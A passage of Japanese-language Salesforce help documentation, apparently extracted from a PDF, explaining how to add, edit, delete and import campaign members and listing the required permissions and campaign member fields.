ボタンから、またはキャンペーン詳細ページの [キャンペーンメンバー] 関連
リストから [メンバーの編集 - 検索] を選択します。

2. [既存のメンバー] サブタブで、必要に応じて、既存のメンバーを検索すると
きの条件を入力し、[Go!] をクリックします。

メモ: リードと取引先責任者の両方から作成されたキャンペーンメン
バーを持つキャンペーンの場合、すべてのメンバーを参照するにはリー
ドと取引先責任者に対する「参照」権限が必要です。リードに対する
「参照」権限しかない場合、参照できるのはリードから作成したキャン
ペーンメンバーのみとなります。取引先責任者に対する「参照」権限し
かない場合、参照できるのは取引先責任者から作成したキャンペーンメ
ンバーのみとなります。

3. 編集するレコードの横にあるチェックボックスをオンにします。現在のペー
ジのすべてのレコードを選択するには、ヘッダー行のチェックボックスをオ
ンにします。

4. 必要に応じて、次のアクションを実行します。
• キャンペーンメンバーの状況を変更するには、[状況の更新]ドロップダウ

ンリストから状況を選択します。
• キャンペーンからメンバーを削除するには、[削除] をクリックします。
• キャンペーンメンバーの詳細を編集するには、[編集]をクリックします。
• キャンペーンメンバーの表示、編集、削除、コピーを行うには、[名前] 列

でキャンペーンメンバーの名前をクリックします。

アクセシビリティモードでは、最新の [メンバーの管理] ページは無効になりま
す。アクセシビリティモードでも、キャンペーンメンバーウィザードを使用し
て、キャンペーンに取引先責任者またはリードを追加したり、キャンペーンメ
ンバーを更新したりできます。
多数のキャンペーンメンバーを更新する場合、データローダアプリケーション
を使用してキャンペーンメンバーデータをエクスポートしてから再インポート
できます。データローダを使用して CSV ファイルをアップロードする前に、キャ
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ンペーン ID でファイルを並び替えます。データの再インポートに問題がある場合、CSV ファイルをいくつかの
小さなファイルに分割してから個別にアップロードします。

関連トピック:

キャンペーンメンバーの管理
複数のキャンペーンメンバーの追加
キャンペーンメンバーの表示と編集
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キャンペーンメンバーの管理

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

キャンペーンメンバーを
追加またはコピーする
• キャンペーンに対する

「参照」

および

リードと取引先責任者
に対する「編集」

[キャンペーンメンバー] 関
連リストを参照および編
集する
• キャンペーンに対する

「参照」

および

リードまたは取引先責
任者に対する「参照」

[キャンペーンメンバー] 関
連リストで [メンバーの管
理]ボタンを表示して使用
する
• キャンペーンに対する

「編集」

および

リードまたは取引先責
任者に対する「参照」

キャンペーン詳細ページから直接キャンペーンメンバーを管理します。
[キャンペーンメンバー] 関連リストおよびキャンペーン詳細セクションにある
[メンバーの管理] オプションを使用すると、リードと取引先責任者を検索して
キャンペーンメンバーに追加したり、既存のメンバーを更新または削除したり、
インポートファイルを使用してキャンペーンメンバーを追加または更新したり
できます。
[キャンペーンメンバー] 関連リストを使用して、次のことを実行できます。
• 検索から個人メンバーを追加する
• インポートファイルから複数のメンバーを追加する
• メンバーを編集する
• インポートファイルからメンバーの状況を更新する

関連トピック:

複数のキャンペーンメンバーの追加
複数のキャンペーンメンバーの編集
キャンペーンメンバーのインポート
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複数のキャンペーンメンバーの追加

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

キャンペーンメンバーを
追加する
• キャンペーンに対する

「編集」

および

リードと取引先責任者
に対する「編集」

および

[マーケティングユー
ザ] チェックボックス
がオンになっているこ
と

キャンペーンメンバーを
削除する
• キャンペーンに対する

「参照」

および

リードまたは取引先責
任者に対する「編集」

[メンバーの管理] ページからのキャンペーンメンバーの追加
[メンバーの管理] ページから、キャンペーンのメンバーとしてリードおよび取引
先責任者を追加できます。取引先責任者をキャンペーンに追加するには、[キャ
ンペーンに追加] チェックボックスをオンにする必要があります。

メモ:  [メンバーの管理] ページを使用する前に、サポートされているブラウ
ザを使用していることを確認してください。

[メンバーの管理] ページでキャンペーンメンバーを追加する手順は、次のとおり
です。
1. [メンバーの管理] をクリックし、キャンペーン詳細ページのドロップダウン

ボタンから、または [キャンペーンメンバー] 関連リストから [メンバーの追
加 - 検索] を選択します。

2. [メンバーの追加] サブタブで、[リード] または [取引先責任者] ラジオボタ
ンを選択し、リードまたは取引先責任者を追加します。

3. リードまたは取引先責任者を検索します。
• 検索条件を指定して、[Go!] をクリックします。
• または、[既存のビューを使用] ドロップダウンリストから既存のビュー

(すべての未完了リードなど) を選択します。結果が自動的に表示されま
す。既存のビューを選択した場合は、検索条件を追加または変更して、
[Go!] をクリックします。

メモ: 詳細オプションまたは 6 つ以上の検索条件を使用しているビュー
を選択した場合は、検索条件を変更できません。こうしたビューで
は、一部の検索条件が表示されませんが、検索結果にはすべての検
索条件が反映されます。

4. 追加するレコードの横にあるチェックボックスをオンにします。現在のペー
ジのすべてのレコードを選択するには、ヘッダー行のチェックボックスをオ
ンにします。

5. [状況の追加] ドロップダウンリストから状況を選択します。
確認メッセージが表示され、[既存のメンバー] サブタブに、追加したメンバーが
表示されます。

メモ: 取引先責任者の追加ができない場合は、[キャンペーンに追加]チェッ
クボックスをオンにします。
1. 取引先責任者のオブジェクト管理設定から、[検索レイアウト] に移動し

ます。
2. [取引先責任者] リストビューの横にある [編集] をクリックします。
3. [キャンペーンに追加] を選択します。
4. [保存] をクリックします。
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アクセシビリティモードでは、最新の [メンバーの管理] ページは無効になります。アクセシビリティモードで
も、キャンペーンメンバーウィザードを使用して、キャンペーンに取引先責任者またはリードを追加したり、
キャンペーンメンバーを更新したりできます。

関連トピック:

キャンペーンメンバーの管理
複数のキャンペーンメンバーの編集
オブジェクト管理設定の検索

標準レポートからキャンペーンメンバーを追加

ユーザ権限

[マーケティングユーザ]チェックボックスがオンになっ
ていること

および

取引先責任者のレポートからキャンペーンメンバーを追
加する

キャンペーンに対する「編集」

および

取引先責任者に対する「参照」

および

レポートに対する「参照」

[マーケティングユーザ]チェックボックスがオンになっ
ていること

および

リードのレポートからキャンペーンメンバーを追加する

キャンペーンに対する「編集」

および

リードに対する「参照」

および

レポートに対する「参照」

[マーケティングユーザ]チェックボックスがオンになっ
ていること

および

個人取引先のレポートからキャンペーンメンバーを追加
する

キャンペーンに対する「編集」

および

取引先責任者に対する「参照」

および

レポートに対する「参照」
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キャンペーンにメンバーを追加する場合は、リード、取引先責任者、および個人取引先の表形式、サマリー、
およびマトリックスレポートから行うとすばやく簡単に追加できます。

使用可能なエディション: Salesforce Classic

使用可能なエディション: Professional Edition、Enterprise Edition、Performance Edition、Unlimited Edition、および
Developer Edition

1. リード、取引先責任者、または個人取引先レコードを返すレポートで、[キャンペーンに追加] をクリック
します。
[キャンペーンに追加]ボタンが無効な場合は、返すレコード数を 50,000 未満にするようにレポートを変更し
ます。

2. キャンペーンの名前を入力します。
3. 新規メンバーのメンバー状況を選択します。
4. キャンペーンにすでに関連付けられているメンバーの状況を保持するかどうかを選択します。必要に応じ

て、これらのメンバーの状況を新規メンバーに選択した状況で更新します。
5. [キャンペーンに追加] をクリックします。
6. 確認の画面をレビューします。
7. [完了] をクリックしてレポートに戻ります。
レポートからキャンペーンメンバーを追加する場合は、次の考慮事項に留意してください。
• キャンペーンメンバーの追加プロセスを中断しても、一部のメンバーはキャンペーンに追加される可能性

があります。メンバーはバッチで追加されるためです。
• キャンペーンメンバーの追加プロセスを開始後、メンバーが追加される前にリードまたは取引先責任者レ

コードを編集した場合、それらのリードまたは取引先責任者はキャンペーンに追加されません。
• 有効なリードはキャンペーンに追加できますが、取引開始後のリードは追加できません。取引開始後のリー

ドがレポートに表示されていても心配はいりません。キャンペーンへの追加プロセスに含まれるのは有効
なリードのみです。

リストビューから複数のメンバーをキャンペーンに追加

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

[マーケティングユーザ] チェックボッ
クスがオンになっていること

および

キャンペーンに対する「編集」

および

取引先責任者に対する「編集」

取引先責任者をキャンペーンに追加する
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[マーケティングユーザ]チェックボックスがオンになっ
ていること

および

リードをキャンペーンに追加する

キャンペーンに対する「編集」

および

リードに対する「編集」

[マーケティングユーザ]チェックボックスがオンになっ
ていること

および

個人取引先をキャンペーンに追加する

キャンペーンに対する「編集」

および

取引先責任者に対する「編集」

リードまたは取引先責任者リストビューから一度に最大 200 メンバーをキャンペーンに追加して時間を節約で
きます。または、キャンペーンにすでに関連付けられているメンバーのメンバー状況を更新できます。
1. 取引先責任者またはリードリストビューに移動します。
2. キャンペーンに追加するレコードを最大 200 件選択します。
3. [キャンペーンに追加] をクリックします。
4. キャンペーンの名前を入力します。
5. 新規メンバーのメンバー状況を選択します。
6. キャンペーンにすでに関連付けられているメンバーの現在の状況を保持するかどうかを選択します。必要

に応じて、これらのメンバーの状況を新規メンバーに選択した状況で更新します。
7. メンバーを追加します。
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キャンペーンメンバーの表示と編集

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

キャンペーンメンバーを
表示、編集または削除す
る
• キャンペーンに対する

「参照」

および

リードに対する「参
照」

および

取引先責任者に対する
「参照」

キャンペーンメンバーを
追加する
• キャンペーンに対する

「参照」

および

リードに対する「編
集」

および

取引先責任者に対する
「編集」

キャンペーンメンバー詳細ページで、キャンペーンメンバーレコードを編集、
削除またはコピーできます。また、キャンペーンメンバーがリードに基づく場
合、リードを移行できます。キャンペーンメンバーが取引先責任者に基づく場
合、商談を作成できます。
キャンペーンメンバー詳細ページを表示するには、キャンペーン詳細ページま
たは [既にメンバーの方] タブの [キャンペーンメンバー] 関連リストで [氏名] 列、
[名] 列または [姓] 列にあるキャンペーンメンバーの名前をクリックします。

メモ: キャンペーンメンバーを表示するには、キャンペーンおよびリード
または取引先責任者の権限が必要です。たとえば、リードから作成された
キャンペーンメンバーを表示するには、キャンペーンおよびリードの両方
を表示できる必要があります。

キャンペーンメンバー詳細ページレイアウトを編集するには、キャンペーンメ
ンバーのオブジェクト管理設定から [ページレイアウト] に移動し、ページレイ
アウト名の横にある [編集] をクリックします。
キャンペーンメンバーの編集

キャンペーンメンバーを編集するには、キャンペーンメンバー詳細ページの
[編集] をクリックして、更新する項目を変更し、[保存] をクリックします。
取引先責任者またはリードから派生した項目は、リード詳細ページまたは取
引先責任者詳細ページからのみ編集が可能です。

メモ: 管理者が組織のインライン編集を有効にしていない場合、キャン
ペーンメンバー詳細ページの [状況] ドロップダウンリストにインライ
ン編集を使用することはできません。代わりに、キャンペーン詳細ペー
ジの [編集] をクリックして、[状況] ドロップダウンリストを編集しま
す。

キャンペーンメンバーのコピー
キャンペーンメンバーをコピーするには、キャンペーンメンバー詳細ページ
の [コピー]をクリックし、キャンペーンおよび取引先責任者またはリードを
選択します。キャンペーンメンバーのコピーしたい項目を修正し、[保存] を
クリックします。

キャンペーンメンバーの削除
キャンペーンメンバーを削除するには、キャンペーンメンバー詳細ページで
[削除] をクリックします。

メモ: キャンペーンメンバーレコードを削除すると、永続的に削除され
ます。レコードはごみ箱から復元することはできません。ただし、元の
リードレコードまたは取引先責任者レコードは削除されません。

リードの取引の開始
キャンペーンメンバーがリードから作成された場合、キャンペーンメンバー詳細ページで[リードの取引の
開始] をクリックし、リードの取引を開始します。リードの取引を開始しても、キャンペーンメンバーは
キャンペーンの一員のままですが、その種別はリードから取引先責任者に変わります。
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商談の作成
キャンペーンメンバーが取引先責任者から作成された場合、キャンペーンメンバー詳細ページで[商談の作
成]をクリックして商談を作成します。商談を作成しても、キャンペーンメンバーはキャンペーンの一員の
ままです。

関連トピック:

オブジェクト管理設定の検索
キャンペーンメンバー項目

キャンペーンメンバー項目

エディション

使用可能なエディション:
Salesforce Classic

使用可能な項目は、使用
している Salesforce のエ
ディションによって異な
ります。

キャンペーンを構成する項目 (アルファベット順) について説明します。多くの
キャンペーンメンバー項目は、キャンペーンメンバーが作成されたリードレコー
ドまたは取引先責任者レコードから派生するため、対応するリードレコードま
たは取引先責任者レコードから編集する必要があります。ページレイアウト設
定と項目レベルセキュリティ設定によって、これらの項目には表示できないも
のや編集できないものがあります。

説明項目

リードまたは取引先責任者が属するキャンペーン。キャンペーン

キャンペーンメンバーの通貨金額項目で使用するデフォ
ルト通貨。金額はキャンペーンメンバー通貨で表示さ

キャンペーンメンバー
の通貨

れ、ユーザの個人設定の通貨にも変換されます。マルチ
通貨を使用する組織でのみ表示されます。

キャンペーンメンバーのレコードタイプによって、キャ
ンペーンメンバーのページレイアウトが決まります。(参
照のみ)

キャンペーンメンバー
レコードタイプ

リードまたは取引先責任者の住所の市区郡部分。市区郡

キャンペーンメンバーがリードに基づく場合は会社。ま
たはキャンペーンメンバーが取引先責任者に基づく場合
は取引先。

会社名 (取引先)

キャンペーンメンバーが取引先責任者に基づく場合は取
引先責任者の名前。

取引先責任者

ユーザの住所の国部分。エントリは標準値の選択リスト
から選択するか、テキストとして入力します。テキスト
項目の場合、最大 80 文字まで入力できます。

国

キャンペーンメンバーを作成したユーザ。(参照のみ)作成者

キャンペーンメンバーを作成した日付。(参照のみ)作成日

リードまたは取引先責任者の説明。説明
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説明項目

取引先責任者が電話による連絡を希望するかどうか。Data.com を使用する場
合、[電話] 項目の値は検索結果および取引先責任者カードでは非表示にな

電話連絡拒否

り、レコードをエクスポートするときに作成される .csv ファイルでは空白
になります。

リードまたは取引先責任者のメールアドレス。メール

取引先責任者がメールの受信を希望するかどうか。Data.comを使用する場合、
[メール] 項目の値は検索結果および取引先責任者カードでは非表示になり、

メール送信除外

レコードをエクスポートするときに作成される .csv ファイルでは空白にな
ります。

リードまたは取引先責任者の FAX 番号。Fax

取引先責任者が同報ファックスの受信を希望するかどうか。Fax 送信除外

リードまたは取引先責任者の名。名

キャンペーンメンバーが初めて応答した日付。(参照のみ)最初にレスポンスのあった日付

キャンペーンメンバーレコードを最後に更新したユーザ。(参照のみ)最終更新者

キャンペーンメンバーレコードを最後に更新した日付。(参照のみ)最終更新日

リードまたは取引先責任者の姓。姓

キャンペーンメンバーがリードに基づく場合はリードの名前。リード

広告、パートナー、Web などのリードソース。エントリは、システム管理者
が設定した選択可能な値リストから選択したものです。選択リストの値には、
40 文字まで入力可能です。

リードソース

リードまたは取引先責任者の携帯電話番号。携帯

リードまたは取引先責任者の電話番号。電話

キャンペーンメンバーが応答したかどうかを示します。レスポンスあり

様、教授など、個人を示す敬称。敬称

ユーザの住所の都道府県部分。エントリは標準値の選択リストから選択する
か、テキストとして入力します。テキスト項目の場合、最大 80 文字まで入力
できます。

都道府県

送信済み、応答など、キャンペーンメンバーの状況。状況

リードまたは取引先責任者の住所の町名および番地部分。町名・番地

社長など、リードまたは取引先責任者の役職。役職
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説明項目

リードまたは取引先責任者の住所の町名および郵便番号。郵便番号

関連トピック:

キャンペーンメンバーの表示と編集
複数のキャンペーンメンバーの追加

キャンペーンメンバーのインポート

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

データインポートウィザードを使用して、取引先責任者、リード、個人取引先
をキャンペーンに追加します。
データインポートウィザードを使用すると、指定されているマーケティングユー
ザは、CSV (カンマ区切り値) ファイルを使用して取引先責任者、リード、または
個人取引先をインポートし、キャンペーンの各フェーズでのレスポンスを追跡
できます。

データインポートウィザードを使用したキャンペーンメンバーの追加または
更新
多数のキャンペーンメンバーを一度に追加または更新するには、キャンペー
ン詳細ページからデータインポートウィザードを起動します。
データインポートウィザードを使用した既存の取引先責任者のキャンペーン
への追加
複数の取引先責任者をキャンペーンのメンバーとして追加するには、キャンペーン詳細ページからデータ
インポートウィザードを起動します。
データインポートウィザードを使用したキャンペーンへの既存のリードの追加
複数のリードをキャンペーンのメンバーとして追加するには、キャンペーン詳細ページからデータインポー
トウィザードを起動します。
データインポートウィザードを使用した既存の個人取引先のキャンペーンへの追加
複数の個人取引先をキャンペーンのメンバーとして追加するには、キャンペーン詳細ページからデータイ
ンポートウィザードを起動します。
データインポートウィザードを使用した取引先責任者の作成およびキャンペーンへの追加
1 つのインポートファイルで、一度に複数の取引先責任者を作成してキャンペーンのメンバーにすることが
できます。
データインポートウィザードを使用したリードの作成およびキャンペーンへの追加
複数のリードをキャンペーンのメンバーとして追加するには、キャンペーン詳細ページからデータインポー
トウィザードを起動します。
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データインポートウィザードを使用したキャンペーンメンバーの追加または更新

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

データインポートウィ
ザードを使用してキャン
ペーンメンバーを追加ま
たは更新する
• ユーザ情報で [マーケ

ティングユーザ]が選
択されていること

および

取引先責任者に対する
「参照」、または
「リードのインポー
ト」

および

キャンペーンに対する
「編集」

多数のキャンペーンメンバーを一度に追加または更新するには、キャンペーン
詳細ページからデータインポートウィザードを起動します。
キャンペーンメンバーの追加
開始する前に、インポートファイルが CSV 形式で、次の項目に値が入力されて
いることを確認します。
• 取引先責任者またはリードの Salesforce ID。個人取引先の場合、個人取引先に

関連付けられた取引先責任者 ID を Salesforce ID として使用します。
• キャンペーン ID (キャンペーン以外のページでレコードをインポートする場

合)

ヒント: Salesforce ID やその他の値を組織から取得する場合は、レポートを実
行して、レポートデータをエクスポートすることができます。

1. キャンペーン詳細ページで、[メンバーの管理] > [メンバーの追加 - インポー
トファイル] を選択します。

2. データインポートウィザードが表示されます。
3. インポートデータが含まれている CSV ファイルを選択して、[次へ] をクリッ

クします。
4. CSV ファイルの列ヘッダーを次の項目に対応付けます。

• 取引先責任者またはリードの Salesforce ID。個人取引先の場合、個人取引先
に関連付けられた取引先責任者 ID を Salesforce ID として使用します。

• キャンペーン ID (キャンペーン以外のページでレコードをインポートする
場合)

5. [次へ] をクリックします。
6. インポート設定を確認して、[インポートを開始] をクリックします。データ

のインポートが終了すると、メールで通知されます。結果を確認し、エラー
が生じている場合は解決します。

キャンペーンメンバーの更新
開始する前に、インポートファイルが CSV 形式で、次の項目に値が入力されていることを確認します。
• キャンペーンメンバーの Salesforce ID

• キャンペーンメンバーの状況

ヒント: Salesforce ID やその他の値を組織から取得する場合は、レポートを実行して、レポートデータをエ
クスポートすることができます。

1. キャンペーン詳細ページで、[[メンバーの管理]] > [[メンバーの更新 - インポートファイル]] を選択します。
データインポートウィザードが表示されます。

2. [キャンペーンメンバー] を選択して、[既存のレコードを更新] を選択します。
3. インポートデータが含まれている CSV ファイルを選択して、[次へ] をクリックします。
4. CSV ファイルの列ヘッダーを次の項目に対応付けます。
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• キャンペーンメンバーの Salesforce ID

• キャンペーンメンバーの状況

5. [次へ] をクリックします。
6. インポート設定を確認して、[インポートを開始] をクリックします。
データのインポートが終了すると、メールで通知されます。結果を確認し、エラーが生じている場合は解決し
ます。

関連トピック:

キャンペーンメンバーのインポート

データインポートウィザードを使用した既存の取引先責任者のキャンペーンへの追加

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ユーザ情報で [マーケティングユーザ]

が選択されていること

および

取引先に対する「作成」

および

取引先責任者に対する「参照」

および

取引先およびキャンペーンに対する「編
集」

データインポートウィザードを使用して
自分が所有する取引先責任者をキャン
ペーンに追加する

および

「個人データのインポート」

ユーザ情報で [マーケティングユーザ]

が選択されていること

および

データインポートウィザードを使用して
他のユーザが所有する取引先責任者を
キャンペーンに追加する

取引先に対する「作成」

および

取引先責任者に対する「参照」

および

取引先、取引先責任者、およびキャン
ペーンに対する「編集」

および

「すべてのデータの編集」
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複数の取引先責任者をキャンペーンのメンバーとして追加するには、キャンペーン詳細ページからデータイン
ポートウィザードを起動します。
開始する前に、インポートファイルが CSV 形式で、次の項目に値が入力されていることを確認します。
• 取引先: Salesforce ID

• 取引先責任者: Salesforce ID

• 取引先責任者: 姓

ヒント: Salesforce ID やその他の値を組織から取得する場合は、レポートを実行して、レポートデータをエ
クスポートすることができます。

以下に説明する手順は、データをインポートする 1 つの推奨方法です。ここに挙げられていないSalesforce項目
にもデータをインポートできます。また、データインポートウィザードに表示される他のオプションを使用し
て、インポートをカスタマイズすることもできます。
1. キャンペーン詳細ページで、[[メンバーの管理]] > [[メンバーの追加 - インポートファイル]] を選択します。

データインポートウィザードが表示されます。
2. [取引先と取引先責任者] を選択して、[既存のレコードを更新] を選択します。
3. [取引先責任者の一致条件] を [Salesforce ID] に設定します。
4. [取引先の一致条件] を [Salesforce ID] に設定します。
5. インポートデータが含まれている CSV ファイルを選択して、[次へ] をクリックします。
6. [取引先責任者をキャンペーンに割り当てる]を選択します。
7. CSV ファイルの列ヘッダーを次の項目に対応付けます。

• 取引先: Salesforce ID

• 取引先責任者: Salesforce ID

• 取引先責任者: 姓

8. [次へ] をクリックします。
9. インポート設定を確認して、[インポートを開始] をクリックします。
データのインポートが終了すると、メールで通知されます。結果を確認し、エラーが生じている場合は解決し
ます。

関連トピック:

キャンペーンメンバーのインポート

1563

キャンペーンの計画、管理、および追跡顧客への営業



データインポートウィザードを使用したキャンペーンへの既存のリードの追加

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

データインポートウィ
ザードを使用して既存の
リードをキャンペーンに
追加する
• ユーザ情報で [マーケ

ティングユーザ]が選
択されていること

および

キャンペーンに対する
「編集」

および

「リードのインポー
ト」

複数のリードをキャンペーンのメンバーとして追加するには、キャンペーン詳
細ページからデータインポートウィザードを起動します。
開始する前に、インポートファイルが CSV 形式で、次の項目に値が入力されて
いることを確認します。
• リードの Salesforce ID

• リードの姓

ヒント: Salesforce ID やその他の値を組織から取得する場合は、レポートを実
行して、レポートデータをエクスポートすることができます。

以下に説明する手順は、データをインポートする 1 つの推奨方法です。ここに
挙げられていない Salesforce 項目にもデータをインポートできます。また、デー
タインポートウィザードに表示される他のオプションを使用して、インポート
をカスタマイズすることもできます。
1. キャンペーン詳細ページで、[[メンバーの管理]] > [[メンバーの追加 - インポー

トファイル]] を選択します。
データインポートウィザードが表示されます。

2. [リード] を選択して、[既存のレコードを更新] を選択します。
3. [リードの一致条件] を [Salesforce ID] に設定します。
4. [リードをキャンペーンに割り当てる] を選択します。
5. インポートデータが含まれている CSV ファイルを選択して、[次へ] をクリッ

クします。
6. [取引先責任者をキャンペーンに割り当てる]を選択します。
7. CSV ファイルの列ヘッダーを次の項目に対応付けます。

• リードの Salesforce ID

• リードの姓

8. [次へ] をクリックします。
9. インポート設定を確認して、[インポートを開始] をクリックします。
データのインポートが終了すると、メールで通知されます。結果を確認し、エラーが生じている場合は解決し
ます。

関連トピック:

キャンペーンメンバーのインポート
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データインポートウィザードを使用した既存の個人取引先のキャンペーンへの追加

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

データインポートウィ
ザードを使用して自分が
所有する個人取引先を
キャンペーンに追加する
• 取引先に対する「作

成」

および

取引先に対する「編
集」

および

「個人データのイン
ポート」

データインポートウィ
ザードを使用して他の
ユーザが所有する個人取
引先をキャンペーンに追
加する
• 取引先に対する「作

成」

および

取引先および取引先責
任者に対する「編集」

および

「すべてのデータの編
集」

複数の個人取引先をキャンペーンのメンバーとして追加するには、キャンペー
ン詳細ページからデータインポートウィザードを起動します。
開始する前に、インポートファイルが CSV 形式で、次の項目に値が入力されて
いることを確認します。
• 個人取引先に関連付けられた取引先責任者の Salesforce ID

• メール

ヒント: Salesforce ID やその他の値を組織から取得する場合は、レポートを実
行して、レポートデータをエクスポートすることができます。

以下に説明する手順は、データをインポートする 1 つの推奨方法です。ここに
挙げられていない Salesforce 項目にもデータをインポートできます。また、デー
タインポートウィザードに表示される他のオプションを使用して、インポート
をカスタマイズすることもできます。
1. キャンペーン詳細ページで、[[メンバーの管理]] > [[メンバーの追加 - インポー

トファイル]] を選択します。
データインポートウィザードが表示されます。

2. [個人取引先] を選択して、[既存のレコードを更新] を選択します。

メモ: [新規レコードを追加および既存のレコードを更新] オプションが
表示されますが、このオプションを使用して新しい個人取引先をキャン
ペーンに追加することはできません。

3. [リードの一致条件] で [Salesforce ID] を選択します。
4. [個人取引先をキャンペーンに割り当てる] を選択します。
5. インポートデータが含まれている CSV ファイルを選択して、[次へ] をクリッ

クします。
6. CSV ファイルの列ヘッダーを次の項目に対応付けます。

• 個人取引先に関連付けられた取引先責任者の Salesforce ID

• メール

7. [次へ] をクリックします。
8. インポート設定を確認して、[インポートを開始] をクリックします。
データのインポートが終了すると、メールで通知されます。結果を確認し、エ
ラーが生じている場合は解決します。

関連トピック:

キャンペーンメンバーのインポート
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データインポートウィザードを使用した取引先責任者の作成およびキャンペーンへの追加

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ユーザ情報で [マーケティングユーザ]

が選択されていること

および

取引先に対する「作成」

および

取引先責任者に対する「参照」

および

取引先およびキャンペーンに対する「編
集」

データインポートウィザードを使用して
自分が所有する取引先責任者を作成して
キャンペーンに追加する

および

「個人データのインポート」

ユーザ情報で [マーケティングユーザ]

が選択されていること

および

データインポートウィザードを使用して
他のユーザが所有する取引先責任者を作
成してキャンペーンに追加する

取引先に対する「作成」

および

取引先責任者に対する「参照」

および

取引先、取引先責任者、およびキャン
ペーンに対する「編集」

および

「すべてのデータの編集」

1 つのインポートファイルで、一度に複数の取引先責任者を作成してキャンペーンのメンバーにすることがで
きます。
開始する前に、インポートファイルが CSV 形式で、次の項目に値が入力されていることを確認します。
• 取引先: 取引先名
• 取引先責任者: メール
• 取引先責任者: 姓
• 取引先責任者: 名 (省略可能ですが推奨)

ヒント: すでに組織に存在する値を取得する場合は、レポートを実行して、レポートデータをエクスポー
トします。
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以下に説明する手順は、データをインポートする 1 つの推奨方法です。ここに挙げられていないSalesforce項目
にもデータをインポートできます。また、データインポートウィザードに表示される他のオプションを使用し
て、インポートをカスタマイズすることもできます。
1. キャンペーン詳細ページで、[[メンバーの管理]] > [[メンバーの追加 - インポートファイル]] を選択します。

データインポートウィザードが表示されます。
2. [取引先と取引先責任者] を選択して、[新規レコードを追加および既存のレコードを更新] を選択します。
3. [取引先責任者の一致条件] を [メール] に設定します。
4. [取引先の一致条件] を [取引先名と取引先サイト] に設定します。
5. [取引先責任者をキャンペーンに割り当てる] を選択します。
6. インポートデータが含まれている CSV ファイルを選択して、[次へ] をクリックします。
7. CSV ファイルの列ヘッダーを次の項目に対応付けます。

• 取引先: 取引先名
• 取引先責任者: メール
• 取引先責任者: 姓
• 取引先責任者: 名 (省略可能ですが推奨)

8. [次へ] をクリックします。
9. インポート設定を確認して、[インポートを開始] をクリックします。
データのインポートが終了すると、メールで通知されます。結果を確認し、エラーが生じている場合は解決し
ます。

関連トピック:

キャンペーンメンバーのインポート

1567

キャンペーンの計画、管理、および追跡顧客への営業



データインポートウィザードを使用したリードの作成およびキャンペーンへの追加

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

データインポートウィ
ザードを使用してリード
を作成してキャンペーン
に追加する
• ユーザ情報で [マーケ

ティングユーザ]が選
択されていること

および

キャンペーンに対する
「編集」

および

「リードのインポー
ト」

複数のリードをキャンペーンのメンバーとして追加するには、キャンペーン詳
細ページからデータインポートウィザードを起動します。
開始する前に、インポートファイルが CSV 形式で、次の項目に値が入力されて
いることを確認します。
• メール
• 会社名
• 姓
• 名 (省略可能ですが推奨)

ヒント: すでに組織に存在する値を取得する場合は、レポートを実行して、
レポートデータをエクスポートします。

以下に説明する手順は、データをインポートする 1 つの推奨方法です。ここに
挙げられていない Salesforce 項目にもデータをインポートできます。また、デー
タインポートウィザードに表示される他のオプションを使用して、インポート
をカスタマイズすることもできます。
1. キャンペーン詳細ページで、[[メンバーの管理]] > [[メンバーの追加 - インポー

トファイル]] を選択します。
データインポートウィザードが表示されます。

2. [リード] を選択して、[新規レコードを追加および既存のレコードを更新] を
選択します。

3. [リードの一致条件] を [メール] に設定します。
4. [リードをキャンペーンに割り当てる] を選択します。
5. インポートデータが含まれている CSV ファイルを選択して、[次へ] をクリッ

クします。
6. CSV ファイルの列ヘッダーを次の項目に対応付けます。

• メール
• 会社名
• 姓
• 名 (省略可能ですが推奨)

7. [次へ] をクリックします。
8. インポート設定を確認して、[インポートを開始] をクリックします。
データのインポートが終了すると、メールで通知されます。結果を確認し、エラーが生じている場合は解決し
ます。

関連トピック:

キャンペーンメンバーのインポート
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キャンペーンの項目

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

キャンペーンには、次の項目があります (アルファベット順)。ページレイアウト
設定と項目レベルセキュリティ設定によって、これらの項目には表示できない
ものや編集できないものがあります。

説明項目

キャンペーンが有効かどうかをマーク
するチェックボックス。

有効

キャンペーン実行にかかった金額。実費

キャンペーンの予算金額。予算

キャンペーン内の通貨金額項目で使用
するデフォルト通貨。金額はキャン

キャンペーン通貨

ペーン通貨で表示され、ユーザの個人
設定の通貨にも変換されます。マルチ
通貨を使用する組織でのみ表示されま
す。

キャンペーンメンバーのレコードタイ
プによって、キャンペーンのメンバー
のページレイアウトが制御されます。

